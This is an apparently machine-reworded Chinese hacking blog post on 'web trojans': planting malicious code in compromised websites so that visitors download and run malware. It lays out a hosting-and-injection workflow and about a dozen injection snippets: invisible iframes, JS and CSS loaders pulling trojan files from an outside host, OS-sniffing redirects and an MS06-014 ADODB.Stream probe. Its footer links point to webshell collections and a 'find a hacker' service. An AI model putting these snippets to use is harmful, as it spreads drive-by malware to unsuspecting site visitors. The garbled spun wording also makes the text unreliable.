镜像劫持、网马详细介绍

hacker4年前 (2020-06-02)黑客文章732

今日，有一位网民问了我一个难题，他自己早已拥有网址了，如今他想制成“镜像劫持”这类网址，要是开启它，电脑上就会有将会感柒木马程序。

木马病毒是必须开启才有实际效果的，开启标准：要不蒙骗客户积极，要不运用系统漏洞。将会他对木马病毒、镜像劫持、网马这种并不是很了解，因而我刻意发过此一篇文章。

一、镜像劫持、网马详细介绍

1、镜像劫持

从“镜像劫持”这个词中就了解，它和“木马病毒”摆脱不上关联，确实，镜像劫持的目地便是将木马病毒散播出来。

黑客攻击了一些网址以后，将自身编定的网页木马置入到其网址的网页页面（一般是在网址首页）中，运用该网址的总流量将自身的网页木马散播出来进而做到自身的目地。

2、网马

网马，即“网页木马”，便是将木马病毒和网页页面融合在一起，当打开网站的情况下便会自动下载并运作其恶意代码。

二、网页木马运作基本原理

最开始的网页木马便是运用了IE电脑浏览器的ActiveX控制，在运作网页木马的情况下会弹出来一个控件下载提醒，仅有历经客户确定后才会运作在其中的木马病毒。

现阶段新式的木马病毒一般运用IE电脑浏览器存有的系统漏洞来散播网页木马。

自然，如今电脑浏览器不仅就是指IE，也有许多其他的电脑浏览器，比如：Google、百度搜索、360、搜狗搜索、 *** 、火狐浏览器......这些。

三、网页页面镜像劫持流程

1、申请办理服务器空间：将恶意代码和网马所有上传入该服务器空间，使其能够被浏览，倘若申请办理取得成功后的服务器空间详细地址为“http://www.xxx.com/xxx”；

2、提交恶意代码：提交进行后木马病毒的浏览详细地址为“http://www.xxx.com/horse.exe”；

3、应用网页页面木马生成器转化成网马：倘若转化成后网马详细地址为“http://www.xxx.com/horse.htm”；

4、开展镜像劫持：将转化成后的网马详细地址置入到别的一切正常的网页页面，倘若置入到腾迅的首页“http://www.qq.com/index.htm”；

四、网页页面镜像劫持的完成 ***

1、架构镜像劫持

<iframe src=详细地址 width=0 height=0></iframe>

2、 *** 文档镜像劫持

更先将下列编码：

document.write("<iframe width='0' height='0' src='详细地址'></iframe>");

储存为xxx.js。

则 *** 镜像劫持编码为：

<script language=javascript src=xxx.js></script>

3、 *** 形变数据加密

<SCRIPT language=" *** cript.Encode" src=https://www.fujieace.com/muma.txt></script>

muma.txt可改为随意后缀名；

4、body镜像劫持

<body onload="window.location='详细地址';"></body>

5、隐敝镜像劫持

top.document.body.innerHTML = top.document.body.innerHTML   '\r\n<iframe src="https://www.fujieace.com/muma.htm/"></iframe>';

6、css镜像劫持

body {
background-image: url('javascript:document.write("<script src=https://www.fujieace.com/muma.js></script>")')}

7、JAJA镜像劫持

<SCRIPT language=javascript>
window.open ("详细地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>

8、照片掩藏

<html>
<iframe src="网马详细地址" height=0 width=0></iframe>
<img src="图片地址"></center>
</html>

9、掩藏启用

<frameset rows="444,0" cols="*">
<frame src="打开网站" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="网马详细地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>

10、高級蒙骗

<a href="http://www.163.com(蒙蔽联接详细地址，显示信息这一详细地址偏向木马病毒详细地址)" onMouseOver="www_163_com(); return true;"> 网页页面要显示信息的內容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="网马详细地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>

11、分辨系统软件编码

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>404</TITLE>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<META content="MSHTML 6.00.2900.2769" name=GENERATOR></HEAD>
<BODY>
<SCRIPT language=javascript>
window.status="";
if(navigator.userAgent.indexOf("Windows NT 5.1") != -1)
window.location.href="tk.htm";
else
window.location.href="upx06014.htm";
</SCRIPT>
</BODY></HTML>

12、分辨是不是有ms06014编码

<script language=VBScript>
on error resume next
set server = document.createElement("object")
server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E"
set File = server.createobject(Adodb.Stream,"")
if Not Err.Number = 0 then
err.clear
document.write ("<iframe src=https://www.fujieace.com width=100% height=100% scrolling=no frameborder=0>")
else
document.write ("<iframe src=https://www.fujieace.com width=100% height=100% scrolling=no frameborder=0>")
end if
</script>

13、智能化载入js的编码demo

//读娶src的目标
var v = document.getElementById("advjs");
//读娶src的主要参数
var u_num = getUrlParameterAdv("showmatrix_num",v.getAttribute('src'));
document.write("<iframe src=\"https://www.fujieace.com/1/" u_num ".htm\" width=\"0\" height=\"0\" frameborder=\"0\"></iframe>");
document.writeln("<!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN\">");
document.writeln("<HTML><HEAD>");
document.writeln("<META http-equiv=Content-Type content=\"text\/html; charset=big5\">");
document.writeln("<META content=\"MSHTML 6.00.2900.3059\" name=GENERATOR><\/HEAD>");
document.writeln("<BODY> ");
document.writeln("<DIV style=\"CURSOR: url(\'https:\/\/www.fujieace.com\/demo.js\')\">");
document.writeln("<DIV ");
document.writeln("style=\"CURSOR: url(\'https:\/\/www.fujieace.com\/demo.js\')\"><\/DIV><\/DIV><\/BODY><\/HTML>")
//剖析src的主要参数涵数
function getUrlParameterAdv(asName,lsURL){
loU = lsURL.split("?");
if (loU.length>1){
var loallPm = loU[1].split("&");
for (var i=0; i<loallPm.length; i  ){
var loPm = loallPm.split("=");
if (loPm[0]==asName){
if (loPm.length>1){
return loPm[1];
}else{
return "";
}
}
}
}
return null;

标签: 黑客技术

返回列表

上一篇：GDB或GNUProject程序调试

下一篇：黑客是怎么找网站的,点开了黑客网站

谈谈WordPress程序的入侵思路和防御

ＷＰ程序，广受国内外站长们的喜爱，也因此，ＷＰ程序的安全也是一直以来做的不错的，说到入侵ＷＰ博客，小菜也没经验，完全是找了些这类的文章看了下，然后自己在琢磨点思路，所以还请看官们勿喷呐～１...

黑客技术入门

黑客是需要不断学习的，一旦网上出现了新的技术，黑客就有了新的工作，他们必须在很短的时间内了解该技术的最基本的进程，这里说的就是掌握干技术的核心技巧，，深入的了解该程序的运转，如果一个黑客停止了对...

PHP一句话木马全集

因为PHP一句话木马可以说有很多，简易的、中等水平的、繁杂的.......，今日主要是共享一些较为强大的一些PHP一句话木马全集；一、运用404错误页掩藏PHP小龙 <!DOC...

最经典的黑客入门教程

第一节、黑客的种类和行为以我的理解，“黑客”大体上应该分为“正”、“邪”两类，正派黑客依靠自己掌握的知识帮助系统管理员找出系统中的漏洞并加以完善，而邪派黑客则是通过各种黑客技能对系统进行攻击、入...

P0f的典型性主要用途是啥?

什么叫P0f？ p0f是一种处于被动指纹验证专用工具，能够鉴别您联接的设备，联接到您的小盒子的设备，乃至联接在小盒子周边的设备，即便该机器设备坐落于数据文件服务器防火墙后边。 P0f...

Access数据库导出一句话拿shell方法

实用环境，在Access后台其他方法不能拿到webshell 但是后台有SQL语句查询执行，就可以直接access导出一句话拿webshell了不过需要知道物理路径才能导出，利用IIS的解析漏洞...

找黑客平台